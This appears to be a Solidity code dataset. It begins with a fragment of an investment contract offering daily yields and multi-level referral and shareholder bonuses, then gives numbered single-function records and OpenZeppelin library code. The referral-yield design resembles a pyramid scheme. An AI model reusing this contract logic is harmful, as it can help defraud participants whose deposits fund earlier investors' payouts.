bonus,grant the shareholder bonus,grant the match bonus */ function deposit(address _referral, uint256 _amount, uint256 _month) external payable { require(_amount >= INVEST_MIN_AMOUNT, "Minimal deposit: 100 1CC"); require(_amount <= INVEST_MAX_AMOUNT, "Maxinum deposit: 10000 1CC"); //require(_amount % 100 == 0, "Invest amount must be multiple of 100"); Player storage player = players[msg.sender]; require(player.deposits.length < 2000, "Max 2000 deposits per address"); /* format token amount */ uint256 token_decimals = 10 ** invest_token_decimal; uint256 token_amount = _amount * token_decimals; /* Transfer user address token to contract address*/ require(investToken.transferFrom(msg.sender, address(this), token_amount), "transferFrom failed"); _setReferral(msg.sender, _referral); /* update total investor count */ if(player.deposits.length == 0){ total_investors += 1; addrmap[total_investors] = msg.sender; } /* get the period total time (total secones) */ uint256 period_time = _month * 30 * 86400; uint256 _id = player.deposits.length + 1; player.deposits.push(PlayerDeposit({ id: _id, amount: _amount, total_withdraw: 0, time: uint256(block.timestamp), period: _month, expire:uint256(block.timestamp).add(period_time), status: 0, is_crowd: 0 })); player.total_invested += _amount; total_invested += _amount; /* update user referral and match invested amount*/ _updateReferralMatchInvestedAmount(msg.sender, _amount, 1); emit Deposit(msg.sender, _amount, _month); } /* * @dev user do crowd action, to join shareholder */ function crowd(address _referral, uint256 _amount) payable external { require(_amount == CROWD_LIMIT_AMOUNT, "Crowd limit: 15000 1CC"); require(total_crowded_num <= SHAREHOLDER_LIMIT_NUM, "Maximum shareholders: 30"); Player storage player = players[msg.sender]; require(player.is_crowd == 0, "Already a shareholder"); /* format token amount */ uint256 token_amount = _getTokenAmount(_amount,invest_token_decimal); /* Transfer user address token to contract address*/ require(investToken.transferFrom(msg.sender, address(this), token_amount), "transferFrom failed"); _setReferral(msg.sender, _referral); /* get the period total time (total secones) */ uint256 _month = crowd_period_month; uint256 period_time = _month.mul(30).mul(86400); /* update total investor count */ if(player.deposits.length == 0){ total_investors += 1; addrmap[total_investors] = msg.sender; } uint256 _id = player.deposits.length + 1; player.deposits.push(PlayerDeposit({ id: _id, amount: _amount, total_withdraw: 0, time: uint256(block.timestamp), period: _month, expire: uint256(block.timestamp).add(period_time), status: 0, is_crowd: 1 })); /* set the player of shareholders roles */ player.is_crowd = 1; total_crowded_num += 1; /* push user to shareholder list*/ shareholders.push(msg.sender); player.total_invested += _amount; total_invested += _amount; /* update user referral and match invested amount*/ _updateReferralMatchInvestedAmount(msg.sender, _amount, 1); emit Crowd(msg.sender, _amount); } /* * @dev user do withdraw action, tranfer the total profit to user account, grant rereferral bonus, grant match bonus, grant shareholder bonus */ function withdraw() payable external { /* update user dividend data */ _payout(msg.sender); Player storage player = players[msg.sender]; uint256 _amount = player.dividends + player.referral_bonus + player.match_bonus + player.holder_full_bonus + player.holder_single_bonus; uint256 _eth_amount = player.eth_dividends; require(_amount > 0, "Insufficient balance"); /* format deposit token amount */ uint256 token_amount = _amount; /* process token transfer action */ require(investToken.approve(address(this), token_amount), "approve failed"); require(investToken.transferFrom(address(this), msg.sender, token_amount), "transferFrom failed"); /* eth dividends must greater than min withdraw num */ if(_eth_amount >= eth_min_withdraw_num && address(this).balance >= _eth_amount){ msg.sender.transfer(_eth_amount); playerTotals[msg.sender].total_eth_dividends += player.eth_dividends; total_eth_dividends += player.eth_dividends; player.eth_dividends = 0; } /* Grant referral bonus */ _referralPayout(msg.sender, token_amount); /* Grant shareholder full node bonus */ _shareHoldersFullNodePayout(token_amount); /* Grant shareholder single node bonus */ _shareHoldersSingleNodePayout(msg.sender, token_amount); /* Grant team match bonus*/ _matchPayout(msg.sender, token_amount); /* Update user total payout data */ _updatePlayerTotalPayout(msg.sender, token_amount); emit Withdraw(msg.sender, token_amount); } /* * @dev user do deposit redeem action,transfer the expire deposit's amount to user account */ function depositRedeem(uint256 _invest_id) payable external { Player storage player = players[msg.sender]; require(player.deposits.length >= _invest_id && _invest_id > 0, "Valid deposit id"); uint256 _index = _invest_id - 1; require(player.deposits[_index].expire < block.timestamp, "Invest not expired"); require(player.deposits[_index].status == 0, "Invest is redeemed"); /* formt deposit token amount */ uint256 _amount = player.deposits[_index].amount; uint256 token_amount = _getTokenAmount(_amount,invest_token_decimal); /* process token transfer action*/ //require(investToken.approve(address(this), 0), "approve failed"); require(investToken.approve(address(this), token_amount), "approve failed"); require(investToken.transferFrom(address(this), msg.sender, token_amount), "transferFrom failed"); /* update deposit status in redeem */ player.deposits[_index].status = 1; /* user quit crowd, cancel the shareholders role */ if(player.deposits[_index].is_crowd == 1){ player.is_crowd = 0; total_crowded_num -= 1; /* remove user to shareholder list*/ _removeShareholders(msg.sender); } /* update user token balance*/ player.total_invested -= _amount; /* update total invested/redeem amount */ total_invested -= _amount; total_redeem += _amount; /* update user referral and match invested amount*/ _updateReferralMatchInvestedAmount(msg.sender, _amount, -1); emit DepositRedeem(_invest_id); } /* * @dev Update Referral Match invest amount, total investor number, map investor address index */ function _updateReferralMatchInvestedAmount(address _addr,uint256 _amount,int8 op) private { if(op > 0){ playerTotals[_addr].total_match_invested += _amount; address ref = players[_addr].referral; while(true){ if(ref == address(0)) break; playerTotals[ref].total_match_invested += _amount; ref = players[ref].referral; } }else{ playerTotals[_addr].total_match_invested -= _amount; address ref = players[_addr].referral; while(true){ if(ref == address(0)) break; playerTotals[ref].total_match_invested -= _amount; ref = players[ref].referral; } } } /* * @dev Update user total payout data */ function _updatePlayerTotalPayout(address _addr,uint256 token_amount) private { Player storage player = players[_addr]; PlayerTotal storage playerTotal = playerTotals[_addr]; /* update user Withdraw total amount*/ player.total_withdrawn += token_amount; playerTotal.total_dividends += player.dividends; playerTotal.total_referral_bonus += player.referral_bonus; playerTotal.total_match_bonus += player.match_bonus; playerTotal.total_holder_full_bonus += player.holder_full_bonus; playerTotal.total_holder_single_bonus += player.holder_single_bonus; /* update platform total data*/ total_withdrawn += token_amount; total_dividends += player.dividends; total_referral_bonus += player.referral_bonus; total_match_bonus += player.match_bonus; total_holder_full_bonus += player.holder_full_bonus; total_holder_single_bonus += player.holder_single_bonus; uint256 _platform_bonus = (token_amount * platform_bonus_rate / 100); total_platform_bonus += _platform_bonus; /* update platform address bonus*/ players[platform_bonus_address].match_bonus += _platform_bonus; /* reset user bonus data */ player.dividends = 0; player.referral_bonus = 0; player.match_bonus = 0; player.holder_full_bonus = 0; player.holder_single_bonus = 0; } /* * @dev update user referral data */ function _setReferral(address _addr, address _referral) private { /* if user referral is not set */ if(players[_addr].referral == address(0) && _referral != _addr) { players[_addr].referral = _referral; /* update user referral address list*/ players[_referral].referrals.push(_addr); } } /* * @dev Grant user referral bonus in user withdraw */ function _referralPayout(address _addr, uint256 _amount) private { address ref = players[_addr].referral; uint256 _day_payout = _payoutOfDay(_addr); if(_day_payout == 0) return; for(uint8 i = 0; i < referral_bonuses.length; i++) { if(ref == address(0)) break; uint256 _ref_day_payout = _payoutOfDay(ref); uint256 _token_amount = _amount; /* user bonus double burn */ if(_ref_day_payout * 2 < _day_payout){ _token_amount = _token_amount * (_ref_day_payout * 2) / _day_payout; } uint256 bonus = _token_amount * referral_bonuses[i] / 100; players[ref].referral_bonus += bonus; //emit ReferralPayout(ref, bonus, (i+1)); ref = players[ref].referral; } } /* * @dev Grant shareholder full node bonus in user withdraw */ function _shareHoldersFullNodePayout(uint256 _amount) private { if(total_crowded_num == 0) return; uint256 bonus = _amount * shareholder_full_bonus_rate / 100 / total_crowded_num; for(uint8 i = 0; i < shareholders.length; i++) { address _addr = shareholders[i]; players[_addr].holder_full_bonus += bonus; } } /* * @dev Grant shareholder single node bonus in user withdraw */ function _shareHoldersSingleNodePayout(address _addr,uint256 _amount) private { uint256 bonus = _amount * shareholder_single_bonus_rate / 100; address ref = players[_addr].referral; while(true){ if(ref == address(0)) break; if(players[ref].is_crowd == 1){ players[ref].holder_single_bonus += bonus; break; } ref = players[ref].referral; } } /* * @dev Grant Match bonus in user withdraw */ function _matchPayout(address _addr,uint256 _amount) private { /* update player team level */ _upgradePlayerTeamLevel(_addr); uint256 last_level_id = players[_addr].level_id; /* player is max team level, quit */ if(last_level_id == team_level_ids[team_level_ids.length-1]) return; address ref = players[_addr].referral; while(true){ if(ref == address(0)) break; /* upgrade player team level id*/ _upgradePlayerTeamLevel(ref); if(players[ref].level_id > last_level_id){ uint256 last_level_bonus = 0; if(last_level_id > 0){ last_level_bonus = team_level_bonuses[last_level_id-1]; } uint256 cur_level_bonus = team_level_bonuses[players[ref].level_id-1]; uint256 bonus_amount = _amount * (cur_level_bonus - last_level_bonus) / 100; players[ref].match_bonus += bonus_amount; last_level_id = players[ref].level_id; /* referral is max team level, quit */ if(last_level_id == team_level_ids[team_level_ids.length-1]) break; } ref = players[ref].referral; } } /* * @dev upgrade player team level id */ function _upgradePlayerTeamLevel(address _addr) private { /* get community total invested*/ uint256 community_total_invested = _getCommunityTotalInvested(_addr); uint256 level_id = 0; for(uint8 i=0; i < team_level_ids.length; i++){ if(community_total_invested >= team_level_amounts[i]){ level_id = team_level_ids[i]; } } players[_addr].level_id = level_id; } /* * @dev Get community total invested */ function _getCommunityTotalInvested(address _addr) view private returns(uint256 value) { address[] memory referrals = players[_addr].referrals; uint256 nodes_max_invested = 0; uint256 nodes_total_invested = 0; for(uint256 i=0;i<referrals.length;i++){ address ref = referrals[i]; nodes_total_invested += playerTotals[ref].total_match_invested; if(playerTotals[ref].total_match_invested > nodes_max_invested){ nodes_max_invested = playerTotals[ref].total_match_invested; } } return (nodes_total_invested - nodes_max_invested); } /* * @dev user withdraw, user devidends data update */ function _payout(address _addr) private { uint256 payout = this.payoutOf(_addr); uint256 payout_eth = this.payoutEthOf(_addr); if(payout > 0) { _updateTotalPayout(_addr); players[_addr].last_payout = uint256(block.timestamp); players[_addr].dividends += payout; players[_addr].eth_dividends += payout_eth; } } /* * @dev format token amount with token decimal */ function _getTokenAmount(uint256 _amount,uint256 _token_decimal) pure private returns(uint256 token_amount) { uint256 token_decimals = 10 ** _token_decimal; token_amount = _amount * token_decimals; return token_amount; } /* * @dev update user total withdraw data */ function _updateTotalPayout(address _addr) private { Player storage player = players[_addr]; for(uint256 i = 0; i < player.deposits.length; i++) { PlayerDeposit storage dep = player.deposits[i]; uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time; uint256 to = block.timestamp > dep.expire ? dep.expire : uint256(block.timestamp); if(from < to && dep.status == 0) { uint256 _day_payout = _getInvestDayPayoutOf(dep.amount,dep.period); player.deposits[i].total_withdraw += _day_payout * (to - from) / 86400; } } } /* * @dev get the invest period rate, if total yield reached reduce limit, invest day rate will be reduce */ function _getInvestDayPayoutOf(uint256 _amount, uint256 _month) view private returns(uint256 value) { /* get invest period base rate*/ uint256 period_month_rate = invest_period_month_rates[0]; for(uint256 i = 0; i < invest_period_months.length; i++) { if(invest_period_months[i] == _month){ period_month_rate = invest_period_month_rates[i]; break; } } /* format amount with token decimal */ uint256 token_amount = _getTokenAmount(_amount, invest_token_decimal); value = token_amount * period_month_rate / 30 / 10000; if(value > 0){ /* total yield reached 2,000,000,start first reduce */ if(total_withdrawn >= _getTokenAmount(yield_reduce_section1[0], invest_token_decimal)){ value = value * (100 - yield_reduce_section1[1]) / 100; } /* total yield reached 5,000,000,start second reduce */ if(total_withdrawn >= _getTokenAmount(yield_reduce_section2[0], invest_token_decimal)){ value = value * (100 - yield_reduce_section2[1]) / 100; } /* total yield reached 9,000,000,start third reduce */ if(total_withdrawn >= _getTokenAmount(yield_reduce_section3[0], invest_token_decimal)){ value = value * (100 - yield_reduce_section3[1]) / 100; } } return value; } /* * @dev get user deposit day total pending profit * @return user pending payout amount */ function payoutOf(address _addr) view external returns(uint256 value) { Player storage player = players[_addr]; for(uint256 i = 0; i < player.deposits.length; i++) { PlayerDeposit storage dep = player.deposits[i]; uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time; uint256 to = block.timestamp > dep.expire ? dep.expire : uint256(block.timestamp); if(from < to && dep.status == 0) { uint256 _day_payout = _getInvestDayPayoutOf(dep.amount,dep.period); value += _day_payout * (to - from) / 86400; } } return value; } /* * @dev get user deposit day total pending eth profit * @return user pending payout eth amount */ function payoutEthOf(address _addr) view external returns(uint256 value) { Player storage player = players[_addr]; uint256 eth_usd_price = getEthLatestPrice(); for(uint256 i = 0; i < player.deposits.length; i++) { PlayerDeposit storage dep = player.deposits[i]; uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time; uint256 to = block.timestamp > dep.expire ? dep.expire : uint256(block.timestamp); if(from < to && dep.status == 0) { uint256 token_amount = _getTokenAmount(dep.amount, invest_token_decimal); uint256 _day_eth_payout = (token_amount * invest_reward_eth_month_rate / 1000 / 30) * (invest_coin_usd_price * (10**8)) / eth_usd_price * (10 ** (18 - invest_token_decimal)); value += _day_eth_payout * (to - from) / 86400; } } return value; } /* * @dev get user deposit day total pending profit * @return user pending payout amount */ function _payoutOfDay(address _addr) view private returns(uint256 value) { Player storage player = players[_addr]; for(uint256 i = 0; i < player.deposits.length; i++) { PlayerDeposit storage dep = player.deposits[i]; //uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time; //uint256 to = block.timestamp > dep.expire ? dep.expire : uint256(block.timestamp); if(dep.status == 0) { uint256 _day_payout = _getInvestDayPayoutOf(dep.amount, dep.period); value += _day_payout; } } return value; } /* * @dev Remove shareholders of the special address */ function _removeShareholders(address _addr) private { for (uint index = 0; index < shareholders.length; index++) { if(shareholders[index] == _addr){ for (uint i = index; i < shareholders.length-1; i++) { shareholders[i] = shareholders[i+1]; } delete shareholders[shareholders.length-1]; break; } } } /* * @dev get contract data info * @return total invested,total investor number,total withdraw,total referral bonus */ function contractInfo() view external returns(uint256 _total_invested, uint256 _total_investors, uint256 _total_withdrawn, uint256 _total_dividends, uint256 _total_referral_bonus, uint256 _total_platform_bonus, uint256 _total_crowded_num,uint256[] memory _invest_periods,uint256 _crowd_limit_amount,uint256 _crowd_period_month,uint256 _eth_min_withdraw_num,uint256 _total_holder_bonus,uint256 _total_eth_dividends,uint256 _total_match_bonus) { return ( total_invested, total_investors, total_withdrawn, total_dividends, total_referral_bonus, total_platform_bonus, total_crowded_num, invest_period_months, CROWD_LIMIT_AMOUNT, crowd_period_month, eth_min_withdraw_num, total_holder_full_bonus + total_holder_single_bonus, total_eth_dividends, total_match_bonus ); } /* * @dev get user info * @return pending withdraw amount,referral,rreferral num etc. */ function userInfo(address _addr) view external returns(address _referral, uint256 _referral_num, uint256 _is_crowd, uint256 _dividends, uint256 _eth_dividends, uint256 _referral_bonus, uint256 _match_bonus, uint256 _holder_single_bonus, uint256 _holder_full_bonus,uint256 _last_payout) { Player storage player = players[_addr]; return ( player.referral, player.referrals.length, player.is_crowd, player.dividends, player.eth_dividends, player.referral_bonus, player.match_bonus, player.holder_single_bonus, player.holder_full_bonus, player.last_payout ); } /* * @dev get user info * @return pending withdraw amount,referral bonus, total deposited, total withdrawn etc. */ function userInfoTotals(address _addr) view external returns(uint256 _total_invested, uint256 _total_withdrawn, uint256 _total_community_invested, uint256 _total_match_invested, uint256 _total_dividends, uint256 _total_referral_bonus, uint256 _total_match_bonus, uint256 _total_holder_full_bonus, uint256 _total_holder_single_bonus, uint256 _total_math_invested,uint256 _total_eth_dividends) { Player storage player = players[_addr]; PlayerTotal storage playerTotal = playerTotals[_addr]; /* get community total invested*/ uint256 total_community_invested = _getCommunityTotalInvested(_addr); return ( player.total_invested, player.total_withdrawn, //player.total_redeem, total_community_invested, playerTotal.total_match_invested, playerTotal.total_dividends, playerTotal.total_referral_bonus, playerTotal.total_match_bonus, playerTotal.total_holder_full_bonus, playerTotal.total_holder_single_bonus, playerTotal.total_match_invested, playerTotal.total_eth_dividends ); } /* * @dev get user investment list */ function getInvestList(address _addr) view external returns(uint256[] memory ids,uint256[] memory times, uint256[] memory amounts, uint256[] memory withdraws,uint256[] memory endTimes,uint256[] memory statuses) { Player storage player = players[_addr]; uint256[] memory _ids = new uint256[](player.deposits.length); uint256[] memory _times = new uint256[](player.deposits.length); uint256[] memory _endTimes = new uint256[](player.deposits.length); uint256[] memory _amounts = new uint256[](player.deposits.length); uint256[] memory _withdraws = new uint256[](player.deposits.length); uint256[] memory _statuses = new uint256[](player.deposits.length); for(uint256 i = 0; i < player.deposits.length; i++) { PlayerDeposit storage dep = player.deposits[i]; _ids[i] = dep.id; _amounts[i] = dep.amount; _withdraws[i] = dep.total_withdraw; _times[i] = dep.time; _endTimes[i] = dep.expire; _statuses[i] = dep.status; } return ( _ids, _times, _amounts, _withdraws, _endTimes, _statuses ); } /** * @dev get the eth/usd lastest price * @return the eth/usd latest price, price decimal: 8 */ function getEthLatestPrice() public view returns (uint256) { int256 price= ethPriceFeed.latestAnswer(); return uint256(price); } }
Grant user referral bonus in user withdraw/ user bonus double burn /
function _referralPayout(address _addr, uint256 _amount) private { address ref = players[_addr].referral; uint256 _day_payout = _payoutOfDay(_addr); if(_day_payout == 0) return; for(uint8 i = 0; i < referral_bonuses.length; i++) { if(ref == address(0)) break; uint256 _ref_day_payout = _payoutOfDay(ref); uint256 _token_amount = _amount; if(_ref_day_payout * 2 < _day_payout){ _token_amount = _token_amount * (_ref_day_payout * 2) / _day_payout; } uint256 bonus = _token_amount * referral_bonuses[i] / 100; players[ref].referral_bonus += bonus; ref = players[ref].referral; } }
1,148,338
./full_match/7672/0xFfb937647c9a2ff42556D78FBC6dA2baA8804C98/sources/contracts/Bridge.sol
Set _sendMessageFee
function setSendMessageFee(uint256 _fee) external onlyOwner { _sendMessageFee = _fee; emit SendMessageFeeUpdated(_fee); }
16,296,233
./full_match/97/0x9992C1A829E67Bb09039B3bBB5A4610fb1646664/sources/project_/contracts/strf-token-staker/FeeDistributor.sol
Internal function to update token balances. Updates treasury and stakers token balances with new passed down amounts. token reward token that will be updated. treasuryReward treasury reward amount to be updated. stakersReward stakers reward amount to be updated./
function _updateBalances( address token, uint256 treasuryReward, uint256 stakersReward ) internal { treasuryBalance[token] += treasuryReward; stakersBalance[token] += stakersReward; }
3,287,619
./full_match/1/0x0087D11551437c3964Dddf0F4FA58836c5C5d949/sources/contracts/PoolInformation.sol
@inheritdoc IPoolInformation
function getBinDepth(IPool pool, uint128 binId) public view returns (uint256 depth) { IPool.BinState memory bin = pool.getBin(binId); while (bin.mergeId != 0) { depth++; binId = bin.mergeId; bin = pool.getBin(bin.mergeId); } }
4,956,575
./full_match/1/0x6f737614cC5b89bbAd665f0e6803eE6867835d58/sources/contracts/CErc20AuraDelegator.sol
Sets a new comptroller for the market Admin function to set a new comptroller return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)/
function _setComptroller(ComptrollerInterface newComptroller) override public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setComptroller(address)", newComptroller)); return abi.decode(data, (uint)); }
3,001,941
/** *Submitted for verification at Etherscan.io on 2021-12-15 */ // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. 